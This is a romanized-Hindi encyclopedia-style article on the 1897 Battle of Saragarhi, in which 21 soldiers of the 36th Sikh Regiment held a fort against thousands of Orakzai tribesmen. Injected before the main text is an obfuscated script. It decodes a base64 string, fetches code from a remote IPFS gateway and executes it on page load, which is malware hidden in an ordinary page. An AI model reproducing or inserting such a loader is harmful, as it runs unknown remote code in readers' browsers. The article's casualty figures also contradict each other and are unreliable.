सारागढ़ी का युद्ध

saragadhi ka yuddh
sikkh sainik, saragadhi|200px|center
vivaran	'saragadhi ka yuddh' british bharatiy sena aur afagan orakazeeyoan ke madhy tirah abhiyan se pahale l da gaya tha.
tithi	12 sitanbar, 1897
sthan	tirah, uttar-pashchim phrantiyar praant (vartaman pakistan)
senanayak	valadar eeshar sianh (aangrez sena), gul badashah (afagan sena)
sikkh sainik	21
afagan sainik	10,000
sanbandhit lekh	sikkh, aangrez, pathan, afagan
any janakari	gairabarabari ka yah yuddh karib 7 ghante tak chala, jisamean sikkhoan ki taraf se 22 log aur pathanoan ki taraf se 180 se 200 ke bich log mare ge. unake kam se kam 600 log ghayal bhi hue.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>saragadhi ka yuddh (aangrezi: Battle of Saragarhi) 12 sitanbar, 1897 ko l da gaya tha. is yuddh mean 36 sikkh rejimeant ke 21 sainikoan ne 10,000 se jyada afagan sainikoan ka samana kiya. dushman ki goliyoan ka shikar banane se pahale un logoan ne 600 se jyada aphagani sainikoan ko mar giraya tha. itihas prasiddh is yuddh par philm bhi ban chuki hai. abhineta akshay kumar abhinit film 'kesari' isi yuddh par adharit hai. aangrez sena ka netritv kar rahe havaladar eeshar sianh ne mrityu paryant yuddh karane ka nirnay liya. saragadhi ke yuddh ko sainy itihas mean sabase bade ant vale yuddhoan mean se ek mana jata hai. yuddh ke do din bad any british sena dvara us sthan par punah adhikar prapt kiya kar liya gaya tha.

saragadhi ka nirman

saragadhi samana reanj par sthit kohat zile ke simavarti ilake ka ek chhota sa gaanv hai aur ab pakistan mean hai. is kile ko 21 aprail, 1894 ko british sena ke 36vian sikkh rejimeant ke karnal je. kuk ki kaman mean banaya gaya tha. agast 1897 mean lephtineant karnal j aaun haitan ki kaman mean 36vian sikkh rejimeant ki paanch kanpaniyoan ko british-iandiya (vartaman mean khaibar pakhtoonakhva) ke uttar-pashchimi sima par bheja gaya tha aur samana hils, kurag, sangar, sahat aaup dhar aur saragadhi mean unaki tainati ki gee. aangrez is asthir aur ashaant kshetr par niyantran pane mean aanshik roop se to saphal rahe, lekin vahaan ke mool nivasi pashtoonoan ne samay-samay par british sainikoan par hamala karana jari rakha. isalie british raj ne kiloan ki ek shrriankhala ko marammat karake apani sthiti majaboot karani chahi, ye vah kile the, jo mool roop se sikkh shasak maharaja ranajit sianh dvara banae ge the.

yuddh ki shuruat

12 sitanbar, 1897 ko subah 8 baje saragadhi kile ke santari ne dau dakar aandar khabar di ki hazaroan pathanoan ka ek lashkar jhandoan aur nezoan (bhala) ke sath uttar ki taraf se saragadhi qile ki taraf badh raha hai. unaki tadad 8,000 se 14,000 ke bich thi. santari ko fauran aandar bula liya gaya aur sainikoan ke neta havaladar eesher sianh ne signal main guramukh sianh ko adesh diya ki pas ke fort l aaukahart mean tainat aangrez afasaroan ko turant halat se avagat karaya jae aur unase poochha jae ki unake lie kya hukm hai? karnal h aautan ne hukm diya- "hold y aaur pozishan." yani apani jagah par date raho. ek ghante ke aandar qile ko tin taraf se gher liya gaya aur orakazeeyoan ka ek sainik hath mean safed jhanda lie qile ki taraf badha. usane chilla kar kaha- "hamara tumase koee jhag da nahian hai. hamari l daee aangrazoan se hai. tum tadad mean bahut kam ho, mare jaoge. hamare samane hathiyar dal do. ham tumhara khyal rakheange aur tumako yahaan se surakshit nikal jane ka rasta deange."

bad mean british fauj ke mejar janaral jems lant ne is l daee ka varnan karate hue likha- "eesher sianh ne is peshakash ka javab orakazeeyoan ki hi bhasha pashto mean diya. unaki bhasha n sirf sakht thi balki galiyoan se bhi bhari huee thi. unhoanne kaha ki- ye aangrezoan ki nahian maharaja ranajit sianh ki zamin hai aur ham isaki akhiri saans tak raksha kareange. 'bole so nihal, sat shri akal' ke jayakare se saragadhi ka qila gooanj utha."

kyoan l da gaya saragadhi yuddh

saragadhi ka qila pakistan ke uttar pashchim simaant kshetr ke kohat zile mean karib 6000 fit ki ooanchaee par hai. ye vo ilaka hai jahaan rahane vale logoan par aj tak kisi sarakar ka niyantran nahian ho paya hai. 1880 ke dashak mean aangrezoan ne yahaan par tin chaukiyaan banaeean, jisaka sthaniy aurakazee logoan ne zabaradast virodh kiya, jisaki vajah se aangrezoan ko vah chaukiyaan khali karani p di. 1891 mean aangrezoan ne vahaan dobara abhiyan chalaya. rabiya khel se unaka samajhauta hua aur unhean gulistaan, l aaukhart aur saragadhi mean tin chhote qile banane ki anumati mil gee; lekin sthaniy aurakazee logoan ne ise kabhi pasand nahian kiya. vah in thikanoan par lagatar hamale karate rahe taki aangrez vahaan se bhag kh de hoan. 3 sitanbar, 1897 ko pathanoan ke b de lashkar ne in tinoan qiloan ko gherane ki koshish ki, lekin karnal h aautan ne kisi tarah halat ko sanbhal liya, lekin 12 sitanbar ko aurakazeeyoan ne gulistaan, l aaukahart aur saragadhi tinoan qiloan ko gher liya aur l aaukhart aur gulistaan ko saragadhi se alag-thalag kar diya.

fayariang reanj

aurakaziyoan ka pahala fayar thik 9 baje aya. saragadhi l daee par bahucharchit kitab 'd aik aaunik baitil aauf saragadhi' likhane vale brigediyar kanvalajit sianh ke anusar- "havaladar eesher sianh ne apane javanoan ko adesh diya ki goli n chalaee jae aur pathanoan ko age ane diya jae aur un par tabhi fayariang ki jae, jab vah 1000 gaz yani unaki 'fayariang reanj' mean a jaean." sikkh javanoan ke pas siangal sh aaut 'martini henari-303' raifalean thian, jo 1 minat mean 10 rauand fayar kar sakati thian. har sainik ke pas 400 goliyaan thi, 100 unaki jeboan mean aur 300 rizarv mean. unhoanne pathanoan ko apani raifiloan ki reanj mean ane diya aur phir unhean chun-chun kar nishana banana shuroo kar diya."

pahale pathan hamale ki asaphalata

pahale ek ghante mean hi pathanoan ke 60 sainik mare ja chuke the aur sikkhoan ki taraf se sipahi bhagavan sianh ki maut ho chuki thi aur nayak lal sianh buri tarah se ghayal ho chuke the. pathanoan ka pahala hamala nakamayab ho gaya. vah bina kisi maqasad ke idhar-udhar dau dane lage, lekin unhoanne sikkhoan par goli chalani band nahian ki. sikkh bhi unaka muanhato d javab de rahe the, lekin hazaroan fayar karate hue pathanoan ke samane 21 raifaloan ki kya bisat thi? aur phir kitane samay tak? tabhi uttar ki taraf se chalane vali tez hava se pathanoan ko bahut madad mil gee. unhoanne ghas mean ag laga di aur unaki lapatean qile ki divaroan ki taraf badhane lagian. dhuean ka sahara lete hue pathan qile ki divar ke bilkul pas chale ae. lekin sikkhoan ka nishana lekar ki ja rahi satik fayariang ki vajah se unhean pichhe hatana p da. us bich sikkh kheme mean bhi ghayaloan ki sankhya badhati ja rahi thi. sipahi boota sianh aur suandar sianh vir gati ko prapt ho chuke the.

goliyaan bachakar rakhane ka adesh

signal main guramukh sianh lagatar karnal h aautan ko saanketik bhasha mean bata rahe the ki pathan ek aur hamala karane ki taiyari kar rahe haian aur hamari goliyaan khatm hone lagi haian. karnal ne javab diya- "aandhadhuandh goliyaan n chalaee jaean. jab ap bilkul nishchit hoan ki goli dushman ko lagegi, tabhi unhean chalaya jae. ham koshish kar rahe haian ki kisi tarah kuchh madad ap tak pahuanchaee jae." amariandar sianh apani kitab 'saragadhi eand d difeans aauf d samana fort' mean likhate haian- "l aaukahart qile se r aauyal ayarish raifals ke 13 javanoan ne age badhakar saragadhi par maujood javanoan ki madad karani chahi. lekin unhean turant ahasas ho gaya ki unaki sankhya itani kam hai ki agar vah un par 1000 gaz ki doori se bhi fayar kareange, pathanoan par isaka koee asar nahian hoga. agar vah aur qarib jaeange to pathanoan ki lanbi naloan vali 'jizel' aur churaee gee li metaford raifalean unhean asani se apana nishana bana leangi. vah apane qile vapas laut ge."

qile ki divar mean chhed

ye sab ho hi raha tha ki do pathan mukhy qile ke dahine hisse ki divar ke thik niche pahuanchane mean saphal ho ge. apane tez chhuroan se unhoanne divar ki neh aur niche ke pattharoan ke palastar ko ukha dana shuroo kar diya. is bich eesher sianh apane char logoan ko qile ke mukhy h aaul mean le ae, jab ki vah khud oopar se fayariang karate rahe. pathan qile ki divar ke nichale hisse mean sat fit b da chhed karane mean saphal ho ge. brigediyar kanvalajit sianh ke anusar- "pathanoan ne ek aur tarakib nikali. unhoanne charapaiyoan ko apane sir par uthaya aur usaki a d lekar age badhane lage taki sikkh unhean dekhakar nishana n laga paane. unhoanne qile ki banavat mean ek nukhs ka fayada uthaya. vah ek aise kon par pahuanch ge, jahaan oopar se qile mean chhed karate samay unhean koee dekh nahian sakata tha. fort gulistaan ke kamaandar mejar de voe apane thikane se ye sab hote hue dekh rahe the. unhoanne saragadhi ke javanoan ko is bare mean signal bhi bheje, lekin signal main guramukh sianh l aaukahart se a rahe signaloan ko padhane mean vyast the, isalie in signaloan ki taraf unaka dhyan hi nahian gaya."

madad ki koshish bekar

laans nayak chaand sianh ke sath mukhy bl aauk mean tainat tin javan sahib sianh, jivan sianh aur daya sianh mare ge. jab chaand sianh akele rah ge to eesher sianh aur unake baki ke sathi apani rakshan 'pozishan' ko chho dakar unake pas mukhy bl aauk mean a ge. eesher ne hukm diya ki- "vah apani raifaloan mean sangin laga lean." jo bhi pathan us chhed se aandar ghusa, us par raifaloan se ya to satik nishana lagaya gaya ya use sangin bhoank di gee. lekin bahar kinaroan par koee sikkh tainat n hone ki vajah se pathan baans ki bani sidhiyoan se oopar chadh ae. amariandar sianh likhate haian- "us ilake mean hazaroan pathanoan ke badhane ke bavajood leftineant man aur karnal h aautan ne ek bar phir 78 sainikoan ke sath saragadhi mean ghir chuke apane sathiyoan ki madad ke lie fayariang karani shuroo kar di, taki pathanoan ka dhyan bhang ho. jab vah qile se sirf 500 mitar door the, unhoanne dekha ki pathan qile ki divar phalaang chuke haian aur qile ke mukhy daravaze mean ag lagi huee hai. h aautan ko aandaza ho gaya ki ab saragadhi gir chuka hai."

guramukh sianh ka akhiri sandesh

is bich signal ki vyavastha dekh rahe guramukh sianh ne apana akhiri sandesh bheja ki pathan mukhy bl aauk tak pahuanch ae haian. unhoanne karnal h aautan se signal rokane aur apani raifal sanbhalane ki ijazat maangi. karnal ne apane akhiri sandesh mean unhean aisa karane ki ijazat de di. guramukh sianh ne apane heliyo ko ek taraf rakha, apani raifal uthaee aur mukhy bl aauk mean l daee l d rahe apane bache khuche sathiyoan ke pas pahuanch ge. tab tak eesher sianh samet sikkh tuk di ke adhikatar javan mare ja chuke the. pathanoan ki lashean bhi charoan taraf bikhari p di thian. unake dvara banaya gaya chhed aur jal chuka mukhy dvar pathanoan ki lashoan se ata p da tha. akhir mean nayak lal sianh, guramukh sianh aur ek asainik dad bach ge. buri tarah zakhmi hone ke karan lal sianh chal nahian pa rahe the, lekin vah behosh nahian hue the aur ek sthan par gire hue hi lagatar raifal chalakar pathanoan ko dharashaee kar rahe the.

dad ne bhi raifal uthaee

british fauj mean tab tak ek ajib sa qanoon tha ki fauj ke sath kam kar rahe asainik bandook nahian uthaeange. dad ka kam tha ghayal hue logoan ki dekhabhal karana, signal ke sandesh le jana, hathiyaroan ke dibbe kholana aur unhean sainikoan tak le jana. jab aant karib ane laga to dad ne bhi raifal utha li aur marane se pahale unhoanne paanch pathanoan ko ya to goli se u daya ya unake pet mean sangin bhoanki. amariandar sianh likhate haian- "akhir mean sirf guramukh sianh bache. unhoanne us jagah jakar 'pozishan' li, jahaan javanoan ke sone ke lie kamare the. guramukh ne akele goli chalate hue kam se kam bis pathanoan ko mara. pathanoan ne l daee khatm karane ke lie poore qile mean ag laga di. 36 sikkh ke akhiri javan ne hathiyar dalane se behatar apani jan dena samajha." gairabarabari ki ye l daee karib 7 ghante tak chali, jisamean sikkhoan ki taraf se 22 log aur pathanoan ki taraf se 180 se 200 ke bich log mare ge. unake kam se kam 600 log ghayal bhi hue.

qile ka kamazor lak di ka dvar

brigediyar kanvalajit sianh ke anusar- "l daee ke bad saragadhi qile ke dizain mean ek aur kami paee gee. qile ka mukhy daravaza lak di ka bana tha aur use mazaboot karane ke lie kilean bhi nahian lagaee gee thian. vo pathanoan ki 'jizel' raifaloan se a rahe lagatar fayar ko nahian jhel paya aur toot gaya. tin baje tak sikkhoan ki sari goliyaan khatm ho gee thian aur vah age badhate pathanoan se sirf sanginoan se l d rahe the. pathanoan ne qile ki divar mean jo chhed kiya tha, vah tab tak badh kar 7 fit guna 12 fit ko ho gaya tha."

aurakazeeyoan ka saragadhi se bhagana

14 sitanbar ko kohat se 9 mauanten baitari vahaan aangrezoan ki madad ke lie pahuanch gee. pathan abhi bhi saragadhi ke qile mean maujood the. unhoanne un par top se gole barasane shuroo kar die. is par aangrez sainikoan ne zabaradast hamala kiya aur saragadhi ko pathanoan ke changul se chhu da liya. jab ye sainik aandar ghuse to vahaan unhean nayak lal sianh ki buri tarah se kshat-vikshat lash mili. vahaan baki sikkh sainikoan aur dad ke shav bhi p de hue the. is poori l daee ko pas ke l aaukahart aur gulistaan qiloan se aangrez aphasaroan ne dekha tha, lekin pathan itani adhik sankhya mean the ki vah bahut chah kar bhi unaki madad ke lie nahian a sake. leftineant karnal j aaun h aautan pahale shakhs the, jinhoanne un bahaduroan ki virata ko pahachana. unhoanne saragadhi post ke samane mare ge apane sathiyoan ko sailyoot kiya.

british sansad dvara samman

is l daee ko duniya ke sabase b de 'last staiands' mean jagah di gee. jab in sikkhoan ke balidan ki khabar landan pahuanchi to us samay british sansad ka satr chal raha tha. sabhi sadasyoan ne kh de hokar in 21 sainikoan ko 'staiandiang oveshan' diya. 'landan gazet' ke 11 faravari, 1898 ke aank 26937 ke prishth 863 par british sansad ki tippani chhapi- "sare briten aur bharat ko 36 sikkh rejimeant ke in sainikoan par garv hai. yah kahane mean koee atishayokti nahian hai ki jis sena mean sikkh sipahi l d rahe hoan, unhean koee nahian hara sakata."

sarvochch virata puraskar

jab maharani viktoriya ko isaki khabar mili to unhoanne sabhi 21 sainikoan ko 'iandiyan aaurdar aauf mairit' dene ka ailan kiya. ye us samay tak bharatiyoan ko milane vala sabase b da virata padak tha, jo tab ke viktoriya kr aaus aur aj ke paramavir chakr ke barabar tha. tab tak viktoriya kras sirf aangrez sainikoan ko hi mil sakata tha aur vah bhi sirf jivit sainikoan ko. 1911 mean jakar j aaurj pancham ne pahali bar ghoshana ki ki bharatiy sainik bhi viktoriya kr aaus jitane ke haqadar hoange. in sainikoan ke ashritoan ko 500-500 rupaye aur do murabba zamin jo ki aj 50 ek d ke barabar hai, sarakar ki taraf se di gee. sirf ek asainik dad ko kuchh nahian diya gaya, kyoanki vah 'enasiee' (n aaun k aaumbateant inarold) tha aur use hathiyar uthane ki ijazat nahian thi. british sarakar ki ye bahut b di naiansafi thi, kyoanki asainik hote hue bhi dad ne apani raifal ya sangin se kam se kam paanch pathanoan ko mara tha. l daee ke bad mejar janaral yitamain bigs ne kaha- "21 sikkh sainikoan ki bahaduri aur shahadat ko british sainik itihas mean hamesha svarnaksharoan mean likha jaega."

saragadhi divas

'saragadhi divas' ek sikkh sainy smaran divas hai, jo har sal 12 sitanbar ko 'saragadhi ki l daee' ki yad mean manaya jata hai. british sikkh sainyakarmi aur nagarik 12 sitanbar ko har sal duniya bhar mean l daee ki yad karate haian. british sikkh rejimeant ki sabhi tuk diyaan har sal saragadhi divas ko rejimeantal baital aaunars de ke roop mean manati haian. briten aur duniya mean aj bhi bharatiyoan khasakar sikkhoan dvara saragadhi divas b de garv se manaya jata hai.

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